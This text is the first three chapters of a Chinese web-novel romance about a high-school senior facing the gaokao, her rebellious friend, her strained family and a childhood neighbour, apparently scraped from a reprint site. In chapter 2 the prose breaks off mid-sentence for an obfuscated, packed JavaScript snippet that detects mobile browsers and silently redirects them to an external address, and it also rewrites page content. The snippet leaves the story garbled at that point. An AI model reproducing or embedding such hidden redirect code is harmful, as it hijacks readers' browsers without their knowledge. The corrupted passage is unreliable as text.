《纯情竹马狠狠爱》 1. 春眠(1) 晋江文学城首发 2026.3.11/春天/晴 文/扯梨子 三月,乍暖还寒。 南城的天气诡异到一周可以过完春夏秋冬。是穿外套嫌热,穿短袖会冷,在室内被寒气裹挟,在室外忍不住生汗的时节。 今天太阳很大,但比好天气更难得的是英语老师没来霸占他们班的体育课。 体育老师很久没见到这群面孔了,热情地将他们操练一番。 结束以后,离操场最近的女厕所人满为患,有的直接飞奔回宿舍,想换件衣服。 骆静佳选择了远离拥挤之地,绕道去了食堂后面的贩卖机。 不用排队,她从口袋里摸出事先准备好的硬币,在碳酸饮料和冰镇矿泉水之间犹豫一秒,投币。 塑料瓶掉下来时发出哐当一声,回荡在了无人迹的四周。 她启瓶,仰头,一边疯狂汲取水源,一边默念运动后不要剧烈饮水的健康守则。 一口气喝掉三分之二,刚才跑步时从喉咙涌上来的铁锈味和反胃感终于压下去几分。不过代价是她的小腹隐隐抽痛。 还没下课,待会还要集合。她边往回走,边捏着矿泉水的瓶子。 手心有意识地用力,把瓶身捏得嘎吱嘎吱作响。 树荫的叶缝里筛落不少线状阳光,像被烙过的针,一下下扎着她的脸。 她加快脚步,走到再也没有大树遮阳的紫外线下,刚被校服吸收的汗重新沁出,随着正午接近,这股不适感越强。 碎发贴着脖子,黏且湿。骆静佳的脸被晒得白里透红,像个熟透的桃子。 她表情冷冷的,心里却愤愤的。 操.他.妈的。 高三就是狗屎! 大抵是上帝接到了这真情实感的投诉,往常总是挤满人的阴凉小亭竟然空无一人。 骆静佳走过去,高中三年第一次上体育课能坐到这个风水宝地。 结果屁股还没挨到冰凉石椅的边,就听到不远处的自行车停车棚里爆发一阵争执。 她本不想多管闲事,可听到了熟悉的声音。 骆静佳攥着矿泉水瓶走过去,躲在柱子后面偷看,尽管几人都背对着她,但她仍确认了有她认识的人。 局势是一对多,那个“一”很明显毫无胜算。可气焰却不小,还在不断挑衅。 激得为首的女生手臂高高扬起,脏话飙出,话音和巴掌正要落下之际,一个矿泉水瓶突然掉落脚边,紧接着一句故作粗犷的“老师来了!”,情急之下竟也真的有用。 鸟兽四散,那个“一”还站在原地,没动。 骆静佳等了一会儿,确认那帮人不会再回来了,才从柱子后面探出头来。 赵琳琅脸色狼狈,扫了她一眼,语气并不意外:“就知道是你。” 骆静佳:“我才该说这句话。” 确认她无虞后,骆静佳嘲讽着点评:“不良少女。” 赵琳琅撇撇嘴,没说话,把地上的矿泉水瓶捡起来:“你买的?” “刚买的。” “借我喝。” 骆静佳默许。 两个人结伴去集合,她嘀咕道:“难怪刚才跑步没见你,你旷课就为了打架?” 赵琳琅:“她们找我麻烦,我只是处理一下。” “找你什么麻烦,你欠她们钱?” “没有。” “那怎么结的仇?” 赵琳琅回敬似的说:“你这种乖乖女不会懂的。” 骆静佳也笑,却是冷笑:“对,我不懂,不然上周班主任找我聊天,问我一个三好学生为什么非得和你来往的时候,我就能回答上了。” 赵琳琅故作惊讶地叹了口气:“老李又找你做思想工作了?” “离高考不到一百天了,他现在不做,什么时候做?” 非常时期,老师眼里容不得一颗沙子。骆静佳到现在还和赵琳琅这颗定时炸弹混在一起,老李真的很怕她高考的时候出什么岔子。 赵琳琅呵呵两声:“种子选手待遇就是不一样。”不像她,已经被彻底放弃了。 骆静佳没接这句调侃。 所有人都到了,就差她们两个了。 体育老师皱着眉在看花名册,看到她两小跑过来的影子,眉头蓦地松了。 “下课!” 这是整个高三,骆静佳觉得最悦耳的两个字。哪怕不是必考课程。 赵琳琅水没喝够,一回教室就撺掇着骆静佳陪她去装水。饮水机在办公室旁边,还没走近,就看到走廊外堆积了好几个人。 赵琳琅想八卦一下,骆静佳却眼尖地看到一个刚空出来的水龙头,推了她一把:“去接,别浪费时间。” 对水的渴望战胜了八卦的渴望,赵琳琅去了。 骆静佳靠在栏杆上等她。 她本无心偷听,但是置身左右,很难屏蔽那些本就无意收敛的对话。 熟悉的老师捧着果篮和鲜花在推诿,几个没穿校服的年轻面孔围在她左右,学着大人的恭维口吻:“这是我们的一点心意!您一定要收下!” 路过的同事投去羡慕的眼神,客套道:“张老师,你好福气啊。那么多毕业生还回来看你,给你送水果,可见你跟他们的感情有多深哦。” 张老师笑得合不拢嘴,还没回答,有个男生就抢着说:“可不是嘛!要不是张老师我都考不上大学,谢谢张老师这么多年的悉心教导!您辛苦了!” 他说着就鞠了个躬,阵仗之大,周围的人都看了过来。 赵琳琅回来了,骆静佳的眼睛还放在那个男生的背脊上。 好友挥挥手:“看什么呢?” 她摇头:“没什么。”只是在想,真的有人会对老师这么浓重的正面情绪吗? 骆静佳恨不得把学校炸掉。 赵琳琅侧头看一眼,嗤了一声:“一看就是毕业生回来看老师,排场这么大。” 张老师现在在带她们班的语文。 赵琳琅说:“你信不信,待会隔壁班上语文课,她肯定会叫那群学长学姐过去分享学习经验?” 骆静佳点头:“我信。” 回教室要路过一个楼梯口,她们经过的时候楼下正好有人走上来。 大学生还没开学,所以这段时间常见回来看老师的人。 骆静佳不经意地瞥了那人一眼,目光顿了顿。 很快擦肩而过,赵琳琅诶了一声:“那不是沈秋易吗?” 骆静佳反问:“谁啊?” “就是之前趁毕业跟你表白的那个学长啊!人家喜欢了你两年哇,你给忘了?” 她并非不记得:“哦。” “哦是什么意思?” “就是你不要再说了的意思。” 赵琳琅想到什么,回了句“好吧”。 但她忍不住碎碎念:“话说你们现在还有联系吗?我记得你当初拒绝他的理由是‘你考完了我还没考呢’……那高考后,你是不是就打算答应他了?你想考省外的大学也是因为他吧?” 骆静佳没有否认。 预备铃响了,她快速回到座位。这节是班主任李想的课,他不知道在导什么东西,早早来了教室,看到她和赵琳琅进来,脸色不太好看。 上课铃响过没多久,骆静佳果然看到张老师领着那群毕业生走到隔壁班。 沈秋易走在最后,经过他们教室的时候,虽然不知道他有没有看过来,但她还是眼疾头快地垂首。 下课后,李想果然把她叫了出去。 说的还是那个问题。 只是选择了一个朋友,被他说得很严重。好像和赵琳琅玩在一起,她的高考她的人生她的三观就都会完蛋一样。 期间课代表来送作业,离开的时候步伐很慢,是在偷听。 骆静佳看着她的背影,李想刚好说到“班上那么多优秀分子,你应该近朱者赤”。 她心想,自己上次月考是全级第十名,并没有近墨者黑。 李想见她态度消极,甚至有些油盐不进,唾沫星子都喷出来了。 出了办公室,骆静佳略略地松了口气。还没松完,就差点迎面撞上那群还没离开的毕业生。 她侧过身,怕挡道。 走廊就这么宽,一道男音在经过她时低语:“高考加油。” 骆静佳一动不动,也没回头。 托那节难得的体育课的福,骆静佳感冒了。 赵琳琅劝她请假回家,她摇头:“马上就放大周了,我再忍忍。” 那个星期学校很热闹,大抵是大学寒假的尾巴撞上百日倒计时,不少毕业生打着看老师的名义回来鼓励学弟妹。当然,仅限优秀学子。 赵琳琅说:“他们就是回来耀武扬威的 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骆静佳找耳塞时,听到旁边的人嘀咕:“文科班又在搞什么活动?” 中途老师不准下课,因为连堂加上课间刚好是一份试卷的时间。 骆静佳把作文写完了,才去做D篇阅读。 她刚扫完题干,桌子就被人踹了一下。 回头看,后桌指了指赵琳琅的位置。她张牙舞爪地让骆静佳看窗外。 骆静佳慢了一拍,只看到个转瞬即逝的背影。 是个男生,身形高挑,手臂线条流畅,青筋很明显。 一打铃,交完卷,赵琳琅就拉着她往楼下跑。 骆静佳上气不接下气:“干嘛?” “周庭裕真的回来了!还没走!在下面打篮球!” 她被拽着,一步并作三步飞下楼梯。一颗心随着剧烈动作而颠簸,来到人满为患的球场外,还缓不过来。 “一毕业母校就装修”这个神奇规律并没有发生在他们这届,但站在残旧掉漆的球场上,他仿佛更得心应手。 人声鼎沸里,那穿黑色短袖的人利落转身,手臂抬高,远距离投出一条完美的抛物线。 球正中篮筐,逐渐下落,他的手却没放下来。 那修长的五指张开,仿佛在和谁打招呼。 她们就站在这个方向。 赵琳琅往四周看了看,嘀咕了句“谁啊”,骆静佳往人群里扎得更深了点。 旁边有穿校服的男生弯腰,双手撑着膝盖:“我不行了……大哥,放过缺乏体育锻炼的高中生吧。” 一个球飞进他的怀里,男生稳稳地接住,不再拍打。双方默认结束。 一个染发的男生笑道:“身体素质不行啊!阿裕已经很放水了。” 被提及的人否认:“别冤枉我,我很认真打的。” 男生讪讪地解释:“没办法,我们现在都没有体育课。” 眼看气氛松动,有女生过去送水。 赵琳琅摇头:“一如既往地招蜂惹蝶。” 今天有点热,骆静佳身上还穿着外套:“回去吧,好晒。” “等等嘛,又还没上课……” “那我先走了。” “别啊!”赵琳琅挽留不成,突然福至心灵,“你看他旁边那个红毛男,和沈秋易一个学校的!你要不要加个联系方式,问问他关于志愿的事?” “我不要。”文理分数线又不一样。 “你别走嘛……” 骆静佳头也不回。 球场上,听着周庭裕礼貌的拒绝,红毛男给学妹递了个台阶:“他不渴我渴,要不转送给我?” 学妹给了,飞快跑了。 陈行逸仰头灌水,凭借身高优势,瞄到人群外一个已经走远的女生。 他用胳膊肘撞了撞正和学弟侃侃而谈的周庭裕。 “那个背影有点眼熟,是不是之前你……” 周庭裕分了一点余光过来,话还是对着学弟说:“其实师太很和蔼的,你们想要体育课,就找机会争取呗……” 陈行逸确认了,他问:“难得回校,不去打个招呼?” 周庭裕想到刚才的忽视,这回有嘴回答他了。 “不用了,她很讨厌我。” 2. 春眠(2) 晚上熄了灯,宿舍里的人还在挑灯夜读。 上铺探出头,虚声问骆静佳能不能教她一道题。骆静佳答应了。只是教到一半,就被站在窗边的阿姨用手电筒照了照,提醒她们该休息了。 两个人溜到阳台,顶着深夜里的凉风,继续探讨。 舍友过意不去,请她吃糖,又关心了下最近班主任频繁找骆静佳谈话的事。 “或者你们可以假装绝交?只要别让老师看到就好了……” 知道她没有恶意,骆静佳微笑,“没必要。” 舍友不好再说什么,搬着凳子进去了,骆静佳还坐在那里。 宿舍的窗很高,看不到月亮,只能看到灰蒙蒙的天空,和一两颗黯淡的星星。 舍友进去前欲言又止,骆静佳知道她想问什么。 关于赵琳琅——她们相熟的契机,始于一场出头。 高二下学期刚按成绩分出ABCD班的时候,骆静佳在新环境里保持着缄默。一是她本就不喜交际,二是她能进A班有一半是靠运气。 为了维持成绩她只想好好学习,不曾想这份文静不断增加着他人对她的好奇。 她有写日记的习惯,每天作业再多也会简单记录。有次被邻桌瞧见,被问了句“你在写什么”。 骆静佳其实没写什么,但依旧如同惊弓之鸟,下意识把本子盖住,道:“没什么。” 某节体育课,她回到教室的时候,发现她的日记被投到了多媒体上。 那一页的内容表达的正好是,她对某个人的想念。 “明明在一个学校,能见面的次数却寥寥。” 骆静佳顿时血液逆流,手脚瞬间冰冷。 除此之外,内心深处还冒出一丝诡异的庆幸。 还好,她连写日记都不会彻底袒露真心。 那恶作剧的男生却还嬉皮笑脸地问她:“你喜欢的是谁啊?哪个班的?我们级的?” 四周的窃窃私语像坏掉的卡带放进老旧的播音器里,播出呕哑糟咂的噪音。 骆静佳以一种极为难堪的心情走上讲台,拿回自己的日记本。她看着那个男生,想问他为什么要这么做,结果四目相对的瞬间,就看到他嘟起的嘴唇在类似“呜”的声音。 她差点当众干呕。 关键时刻,赵琳琅出现了。 她不置一词,抬手就是一巴掌。 男同学被打得后退半步,难以置信。 赵琳琅往他身上吐口水:“你贱不贱啊?是不是因为没有女生喜欢你,所以你心里不平衡啊?” 这种事不好告老师,因为稍有不慎就会被安上“早恋”的罪名。死磕到底的话,估计还要请家长。所以骆静佳没有想过报复。 但这不意味着她不生气。 她和赵琳琅性格并不相合,但因为这个巴掌,她怀着感激迈出了交友的第一步。 熟悉以后,赵琳琅也好奇地问过她:“你喜欢的人是谁啊?能不能跟我透露一下?” 她总是腼腆地摇头。 直到上一届高三毕业,沈秋易来找她。 赵琳琅陪她赴约,笑得一脸暧昧:“就是他对不对!死丫头眼光真好,沈师兄长得一表人才,成绩也那么好,不怪你春心萌动。” 骆静佳张张嘴,想说什么,却想到否认后大概率会被反问,于是选择闭嘴。 后来她不再写日记了,只偶尔在涂满算式和单词的草稿纸上,极其隐秘地写下字母。 有的时候是Z,有的时候是Y。 如果有一天被人察觉,她也可以狡辩。 但是还好,迄今为止,全世界只有她一个人知道。 她喜欢的人是谁。 - 所谓大周也不过是不到三十个小时的假期,从周六中午开始放,周日下午六点前到校。 住宿的高三生一般利用这段时间补充物资,或者出去放风。离家近的大部分会选择回家。 骆静佳是那个小部分。 奈何她的感冒一直没好,去校医室开了药也无济于事,上课都犯困,自习更不用说了。 现在每分每秒都很珍贵,骆静佳不敢浪费,所以趁着有机会,赶紧回去一趟。 头晕加鼻塞,在公交车上她差点坐过站。 下了车沿着熟悉的街道走,骆静佳突然担心起一件事——爸妈不一定记得她这周放假。 没有提前通知,突然出现在家里这种事,放在别人家可能是惊喜,但对他们家来说,却是一种尴尬。 她忐忑地走进家属楼,路过榕树,相识的叔叔阿姨和她打招呼:“佳佳回来了?感觉好长一段时间没见你了,读书很辛苦吧?” 骆静佳朝他们点下头,飞快地说了句:“不辛苦。”心里想的却是已经累死了。 老式住宅是步梯,她家住五楼。 小时候骆静佳觉得住五楼真好,她下楼可以玩五次跳楼梯。现在她不再玩跳楼梯了,但偶尔会想跳楼。 一梯两户,住的基本都是厂里的职工。 以前还会有人在走廊上做饭,油烟扑鼻,一闻就知道这家今天吃什么。 不过自从前几年政府把这块区域划为文旅观光点、过来整修粉刷后,这种“有辱斯文”的行为就被禁止了。 骆静佳路过三楼的时候,没忍住瞥了眼那扇紧闭的双层门。 外面那层是镂空生锈的铁门,里面的是贴着褪色福字的木门。种种迹象表明,这一户已经很久没人住了。 这些年陆陆续续从家属楼搬出去的人不少,但每逢节假日,尤其是春节,那些游向暖流的人再麻烦也会归巢。 骆静佳的假期很短,作业却不少,家里总有人来拜年,吵得要死。 她不是没想过戴耳塞,但又怕错过了什么。 然而一直到返校,她都没等到。 思及此,她收回视线,加快了脚步。 走到四楼和五楼中间的那层楼梯,骆静佳就听到了门口溢出的动静。 女人的话还算关心,声音却裹挟不耐烦。 突然出现类似水壶被碰倒的声音,她的音量直接拔高:“妈——你能不能别添乱了!我都让你别碰别碰了!现在好了?!” 最后那四个字震耳欲聋,骆静佳不知道是楼在晃动,还是自己在抖。 她下意识想逃走,但是已经走到了这里,她还能去哪里? 拳头紧了又松,拿出钥匙,假装什么也没听到,自己开门进来。 她边脱鞋边关上第二扇门,封闭的木门并不能完全隔绝声音,但关了她会觉得没那么丢脸。 把书包放到客厅,骆静佳走到自己曾经的卧室前,冲着边替老人擦身上水渍,边骂骂咧咧的女人喊了声“妈”。 林素萍几不可察地皱了皱眉,回头看了她一眼,说了句“回来了”。 骆静佳点点头,自觉端起水壶走了出去。 房间里传来一声深深的叹息:“佳佳回来了。她好不容易回来一次,家里都没地方给她睡。妈,你说我和振国这对夫妻,把大哥大嫂当好了,却没把父母当好。” 骆静佳走进厨房,装水重新烧。厨房有备用的凉水,她倒了一杯,拿去外面喝。 林素萍的话虽然是对着奶奶说的,但同时也砸进骆静佳心里。 她本来不是住宿生,但是刚上高三没多久,奶奶就中风了。 让她一个人呆在老家,会被骂不孝。住医院费用又太高,还得请护工。其他子女不是顾左右而言他,就是先发制人地说给生活费。 她爸作为长子,就算家里只有两个房间,也决定委屈女儿,把妈接到自己家里。 林素萍怨气很大,夫妻没少因为这件事吵架。 骆静佳觉得在家里还要睡上铺,倒不如住宿,学校还安静点,又能节省上下学的时间。 父母嘴上心疼她,实则都暗自松了口气。 搬去宿舍以后,骆静佳就很少回来。 不知道她今天放假,林素萍也没买什么菜。她拿着钱包要出门,骆静佳赶紧拦下她,说不用了,随便吃点就行。 “那好,中午就对付一下,晚上让你爸加菜。” 电饭煲里温着白粥,午饭母女俩就配着一碟青菜和萝卜干吃了点。 林素萍吃得很快,因为还要给老人喂饭。 骆静佳因为感冒食欲不振,看起来恹恹的,林素萍见状说了句:“你不在家,平时我和你奶奶在家就是吃这些。人老了,肠胃不好,只能吃点流食。你爸又经常在厂里吃,我就懒得专门再给自己炒菜,多浪费啊……” 骆静佳胃里反酸水,点了下头,没说话。 附近的医院两点开始看诊,她问林素萍要了钱,拿上身份证,自己去挂号。 多云天气,连空气都是闷的。 拿完药,骆静佳没回家,漫无目的地走在街上。 今天是周六,初高中生放学了,形形色色的校服路过她。她走在人潮里,周围都是学生,她却觉得自己不合群。 因为,她的烦恼比同龄人多好多。 路过唱片店,明明没什么兴趣,骆静佳还是进去了。 她神色淡淡的掠过那些已经退流行的旧唱片,过去卖到脱销的商品,这几年被智能手机的兴起所冲击,发展到今天,购买的大部分意义只剩下纪念。 但也有还听不懂歌曲深意、又刚刚开智的学生,把欣赏老歌的行为当做时尚单品。 在她们班女生开始追韩流的时候,男生总会故意用某位歌星的话来回击:“华流才是最屌的!” 幼稚。 骆静佳从来不参与投票,别人问起也总是笑笑,说都还好啦。 其实在她看来,大多数人都是跟风。 目的是为了特立独行。 她和他们不一样。 她只想随波逐流,做最不起眼的一条小鱼。 视线触及一张之前在某个地方看到过的唱片,骆静佳刚要伸手去拿,却隔着不高的置物架看到了一张熟悉的脸。 她心一沉,和对方对视上了,才慢半拍地背过身去。 男生们嘻嘻哈哈地从后面经过,一些乱七八糟的玩笑飘进她的耳朵里。 那声起哄似的“呜”一下把她拉回那个被霸凌的时刻,她顿时想起加害者嘟起的嘴唇,与刚才他尴尬又张皇的表情重叠。 骆静佳走出唱片店,疾走了一段路,而后狂奔起来。 对面马路突然一声急刹,塑料轮胎摩擦地砖的声音尖锐似刀刃,差点割伤陈行逸的耳朵。 差点追尾。他也跟着停下自行车,愤愤道:“周庭裕,你有病啊?” 只见被骂的人的头缓缓转动,视线随着那道跑远的身影而动。 陈行逸去看的时候,骆静佳已经消失在街角了。 周庭裕收回视线,也没解释自己刚才抽风的行为,他们在前面的斑马线过马路,把车停在唱片店前。 进去前,周庭裕搂住陈行逸的肩膀,撒娇道:“好哥哥,你一定要睁大眼睛好好找啊。” 陈行逸受不了他这种基佬行为,嫌恶地推开:“知道了,郭静的《在树上唱歌》是吧?” “对对对。” 两个人有目的地搜寻,四只眼睛一目十行。 突然,陈行逸的余光瞄到一群穿校服的男生,他肘击了一下旁边正好弯腰的周庭裕:“喂,看。” 周庭裕吃痛,揉了揉腮部:“什么?”同时抬眼望去。 陈行逸替他重温:“那不是之前被你教训过的学弟吗?你不记得了?” “在小树林那次啊,事后我还问你怎么这幅嘴脸,跟小混混似的,是不是动作片看多了。你当时怎么说来着?哦,是为你妹子出头。” 周庭裕当然记得。 他想起刚才那个跑得飞快的身影,跟后面有鬼在追她似的。 “原来是遇到贱人了。”周庭裕喃喃道。 “你说话可真难听……” 晚上骆振国回来了,照例关心了几句她的学习,但很快就下了饭桌,去陪奶奶说话了。 林素萍一边收拾碗筷一边念叨:“真不知道是他妈能陪他走一辈子,还是他妈能给他养老。哪个家孰重孰轻都分不清楚,我怎么选了这么个男人来嫁……” 骆静佳赶紧把最后一口饭扒完,“妈,我来洗吧。” “不用,你坐着。好不容易回家一趟,好好休息。” 只是骆静佳一想到今晚又要和奶奶睡一个房间,就如坐针毡。 林素萍看出她的难受,拍拍她的肩膀:“再忍忍吧,乖啊,我和你爸已经在看商品房了。毕竟这些年也存了点积蓄。再说了,也不能一直住在这。” 提到这件事,骆静佳的心情总算好了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394631|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她嗯了一声。 林素萍把碗端进洗手池,又想起另一件事。 “对了,阿裕回来了。” 她愣了一下,“啊”了一声。 早在学校里见到他的时候,她就知道了。 骆静佳意外的是他还没走。 “前两天我买菜回来,路过三楼碰到他了。他还没开学呢,说是回来陪陪老人,顺便看看老师。” “要我说这大学的寒假也太长了,等你熬过这一年,就能好好放松了……” 林素萍的声音从厨房传过来,伴随着碗碟碰撞的声音。 骆静佳没吭声,突然看到她湿着手出来,打开冰箱,拿出一盒时令水果。 “我想着你也快放假了,那天看到蓝莓打折,就买了一点。就这么点点打完折还要几十块钱嘞,你拿下去跟阿裕一起吃,顺便问问他志愿的事情……” 骆静佳眉心一跳,“他那学校我又考不上。” 理科本来就比文科难考大学,更何况她和周庭裕没那么熟。 “说的什么话,别泼自己冷水!虽然我和你爸也没想过让你跑那么远,但是多了解了解名校、未雨绸缪总是好的。” 见女儿不肯动,林素萍抓着她的手臂催促起来:“干嘛,你不好意思啊?你和小周都认识这么多年了,说是青梅竹马都行,让你送个水果而已,怎么还扭捏上了!” 林素萍如此积极,骆静佳不知道该怎么拒绝。 准确来说,她不知道该怎么应对。 因为在周庭裕上大学之前,林素萍对他们家的态度不是很好。 而她习惯看母亲的脸色行事,尽管心生向往,却也不敢和他们家的小孩走得太近。 端着蓝莓下楼,骆静佳走得很慢很慢。 她把母亲无心一提的四个字嚼了又嚼,却咽不下去。 青梅竹马? 在骆静佳的认知里,这个定义背后意味着漫长的陪伴。 而她和周庭裕,迄今为止,接触的次数不过寥寥。细算他们相处的时间,甚至没有她随便一个同学长久。 而且。 骆静佳和周庭裕这两个名字放在一起,好像也不太相配。 她胡思乱想着,一时竟忘了敲门。 当周庭裕出现在背后,并且叫了她一声的时候,骆静佳差点被吓破胆。 他笑了:“胆子这么小?” 她僵硬地转身,连反驳都不想,径直把蓝莓递出去。 周庭裕挑眉:“你给我的?” 骆静佳敏感地注意到他的用词,心想也是,他这样的人精,分辨不出林素萍的喜恶才有鬼了。 她没有替她妈妈洗白的意思,只是实话实说:“我妈让我拿给你的。” 周庭裕嗯了一声,随口道:“有事找我?” 无事献殷勤,他问一句很正常。 她却有一颗七窍玲珑心,被踩到尾巴似的:“没有。” “真的没有?” “没有。” “那蓝莓你拿回去。” 骆静佳真的伸手:“哦。” 周庭裕气乐了,顿时反悔,“逗你玩的,送出去的东西泼出去的水,哪有收回去的道理?” 她也不恼,垂下手,“那我先走了。” 他明明可以马上开口叫住她,却非要等她上楼上到一半才张嘴:“之前好像没问过你。你想考哪里的大学?” 骆静佳心里已经有主意了,嘴上却说不知道。 “留在本市?” “应该不。” “那省外?” “可能吧。” “如果出省,有没有一点沈秋易的原因?” 她蓦地皱眉:“关你什么事。” 他耸耸肩:“好奇而已。” 很多人都好奇这件事。 但周庭裕的好奇,骆静佳难以接受。 她正准备走,周庭裕又说:“不要想那么多,考了再说。分数是入场券,拿到了门票再选你喜欢的游乐场也不迟。” 她闷闷地:“我知道。” 这是他回校“演讲”的说辞吧?都不知道和多少人卖弄过了。 感受到她的不待见,周庭裕也没在意。 骆静佳用眼神问他还有话吗,他在思考,没发现。 等她又上了几个台阶,他突然在下面喊了一声:“喂,兔牙妹——” 骆静佳下意识捂住嘴,皱眉探头。 周庭裕想到今天唱片店的事,真情实感地说:“去闯关之前,先学会咬人吧。” 她一头雾水。 但听着不像坏话,骆静佳不知道怎么回答,只好问:“你什么时候走?” “开学就走。” “那你什么时候开学?” “后天。” 可她明天下午就回学校了。 骆静佳回到家,父母又在因为奶奶的事情吵架,老人孱弱的声音被湮灭其中。 她走过去,凑近听清,折身出去端了杯温水回来。 奶奶的眼睛常年朦胧湿润,像无法褪去的潮汐,乍一看也像泪光。 她像个小孩子一样,乖乖地喝着水。 骆静佳等她喝完了才走。 她站在晾满衣服、堆满鞋子和杂物的阳台,突然觉得只有这里属于她。 时间还很早,楼下的沙池里有几个小孩在玩,吵吵嚷嚷的声音和楼下的新闻联播一起飘进耳中,骆静佳突然想起自己还没吃药。 她正准备去吃,却突然在喧闹里听到一声和弦。 是吉他。 它的主人似乎还在调试,所以音律紊乱,不过没过多久,就逐渐找到了调子。 “一个人 眺望碧海和蓝天 在心里面 那抹灰就淡一些 ……” 他唱得很小声,骆静佳只能很含糊地听到一点。 之所以脑子里会清晰地浮现歌词,是因为这首歌她已经听过无数次了。 小城的夜晚是远观是静谧的,细看却是热闹的。家家户户都在念属于自己的经,而看似沉默的孩子,其实也早就学会了咆哮。 骆静佳看着灰蒙蒙的天空,又低头看了看楼下的绿植,发现有个小男孩居然在沙池里撒尿。 她突然笑了。 哪来的碧海和蓝天。 3. 春眠(3) 赵琳琅一觉睡到连堂下课。 一周七天,她最讨厌周二周三周四,因为语数英会在这三天连着上两节。 她揉了揉眼睛,看到斜前方的骆静佳在照镜子。 这是稀罕事——她一下来劲,无声无息地溜过去,从背后挤入镜中。 骆静佳一点反应也没有,赵琳琅自讨没趣,退后靠在桌边,问她:“你干嘛呢?” 骆静佳不答反问:“你觉得我的牙齿怎么样?” “什么怎么样?很整齐啊。” “我的门牙有没有一点像兔牙?” 赵琳琅低头,骆静佳咧开嘴。 “还好吧,没有很明显。就是比普通门牙长了一点?” 是吧。 从来没有人说过她是兔牙。 骆静佳把镜子盖回桌面。 赵琳琅知道她要开始学习了,自觉走人,被她一把扯住。 “那如果,有人给我起外号,叫兔牙妹。对方是想捉弄我,还是……” 赵琳琅不过脑地回答:“起外号这种行为本来就很脑残。” 骆静佳想狡辩两句,但是又觉得自己内心的答案过于偏袒,索性沉默。 赵琳琅摊开巴掌:“需要我用这个帮你处理一下吗?” “……暂时不需要。” 假期虽然短暂,但还是影响了军心。班里的氛围稍有松动,李想就开始绞尽脑汁地鼓舞士气。 他叫值日生把后面的黑板擦干净,让每位同学按学号写上自己的座右铭。 好像梦想有了对照组,难度就会下降。 骆静佳中规中矩地写了一句,关关难关关过。 但在那些沉闷、昏暗、密不透风的夜晚里,她坐在泱泱人群中偶尔分神时,写的却是—— 顶峰相见。 至于哪里是顶峰,又要和谁相见,她暂时不愿想得太清楚。 想的太清楚,万一最后没有得到想要的结果,失望会翻倍。 让一些事情处于悬而未决的状态,或许更有利。 离高考还剩一个月的时候,林素萍经常来学校看她,每次都不空手。 时间越紧迫,来的家长就越多。门卫本来还睁一只眼闭一只眼,后来连饭也不准送了。 林素萍最后一次来,给保安递了包烟。 骆静佳一脸疑惑地被她拉到角落里,皱眉看她从装饭盒的袋子里掏出一颗药。 “包装妈都给你拆了,怕你同学看到了多想。这是我去问过医生,才给你开的,吃一次不会有事。高考是决定人生的事情,可不能马虎了。” 同学都去食堂了,骆静佳坐在空无一人的教室里,盯着那颗短效避.孕.药发呆。 母亲对她事无巨细,包括经期。 她知道一切都是为她好,可不知道为什么,随着年龄的增加,每逢这种备受关切的瞬间,骆静佳总会产生一种溺亡感。 像已经发育完全的孩子,器官和自我意识都已经成熟,却还待在温暖的羊水里,没有机会诞生。 骆静佳最终把那颗药丢进了垃圾桶里。 清明开始,南城的雨就没有离开过。 无论是教室还是宿舍,空气里总蔓延着水汽。回南天反反复复,住宿的同学叫苦连天——没有衣服穿了! 唯一的喜事或许是,只要地是湿的就不用跑操。 已经没有老师会霸占他们的体育课了,几乎所有的课程都改成了自习。 李想说,剩下的路都是靠自己走了。 考完语文和数学的那天晚上,一向安静的宿舍难得活跃。 毕竟是高中时代的最后一个夜晚,没有人能抵御即将自由的兴奋。 聊到起劲时,某位舍友还狠狠地蹬了两下床板:“等明天考完英语,老子就把所有的试卷提纲练习册统统丢下楼去!去他妈的衡水体,去他妈的从句,去他妈的主谓宾定状补,统统给我滚蛋!” 大家哈哈大乐。 骆静佳也没忍住,从唇缝里溢出一丝笑。 突然有人坐起来,语气亢奋地问:“对了,你们想好毕业旅行去哪里了吗?” 高考结束以后,大部分高三生在法律意义上都属于成年人了。 虽然没什么惊天动地的改变,但无形中解开了许多权限。 骆静佳打着小台灯在看动词的固定搭配,这是她每晚的习惯。 听到这个话题,她从et to do和et doing sth中分神,浅浅思考了一下。 大家你一句我一句,说哪里的都有。氛围松快欢乐,平时最沉默的人也跟着发言。 说完大抵是觉得不好意思,对方点了下一直没说话的骆静佳:“静佳,你呢,你打算去哪里?” 她随口敷衍:“可能去西藏吧。” 骆静佳想起前几天做的一篇阅读理解,里面刚好提到了这个地方。 她后知后觉刚才提起这个话题的人,是班上家境最好的女生。对方并没有刻意炫耀过什么,但骆静佳认得出她没有logo的名牌书包,还有超市里标价三位数的洗发水。 语言是有惯性的,她之所以会问这个问题,大概是家里人早就向她承诺了什么。 骆静佳翻了一页书,回忆着刚才假装漫不经心的语气——应该没人会发现吧。 毕竟毕业以后,就很难再见面了。 她有没有去西藏,或是别的地方,没有人会知晓。 所以请允许她的虚荣心小小地作祟。 青春最后的深夜,就在对明天考试的焦虑和撒谎的心虚中度过了。 考场不同,所以从班级出发的时候,朋友之间会互相打气。 骆静佳也和赵琳琅说了加油,赵琳琅却不屑一顾:“得了吧,昨天考数学我后面的答题卡基本上是空白的。随便混个三本上上得了。” “倒是你,一定要好好考啊,说不定以后我还能和别人炫耀,xx级的理科状元曾经是我的好朋友。” 骆静佳觉得这可能性不大,但她还是莞尔:“借你吉言。” 最后一科考完,级组要求所有学生先回教室。可脱缰的野马们哪里听得进去,连好学生都忍不住叛逆一回。 骆静佳“翻山越岭”才找到父母,学校外面已经水泄不通。 骆振国看着女儿大包小包的行李,问:“东西都拿完了?” “没,盆和桶都还在上面。” “除此之外呢?” “里面还有没用完的沐浴露洗发水。” 骆振国把烟头丢到地上,踩灭:“这里停车挡道了,再不开走要被人骂的。那些东西不值钱,干脆别要了。” 林素萍立马反对:“不行!都是钱来的,说不要就不要啊?拿一下又不麻烦。” “可是车……” “你挪一下,或者跟人家说一下不就好了?哪有为了别人方便让自己吃亏的?” 